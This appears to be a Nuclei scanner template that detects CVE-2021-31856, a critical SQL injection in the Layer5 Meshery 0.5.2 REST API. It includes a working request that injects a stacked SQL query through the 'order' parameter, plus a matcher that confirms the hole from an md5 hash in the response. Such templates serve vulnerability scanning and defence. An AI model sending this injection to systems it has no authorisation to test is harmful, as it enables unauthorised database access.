id: CVE-2021-31856 info: name: Layer5 Meshery 0.5.2 SQLi author: princechaddha severity: critical description: A SQL Injection vulnerability in the REST API in Layer5 Meshery 0.5.2 allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go). reference: - https://github.com/ssst0n3/CVE-2021-31856 - https://nvd.nist.gov/vuln/detail/CVE-2021-31856 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-31856 cwe-id: CWE-89 tags: sqli,cve,cve2021 requests: - method: GET path: - "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5('nuclei'))&page=0&page_size=0" matchers-condition: and matchers: - type: word words: - "709b38b27304df6257a86a60df742c4c" part: body - type: status status: - 200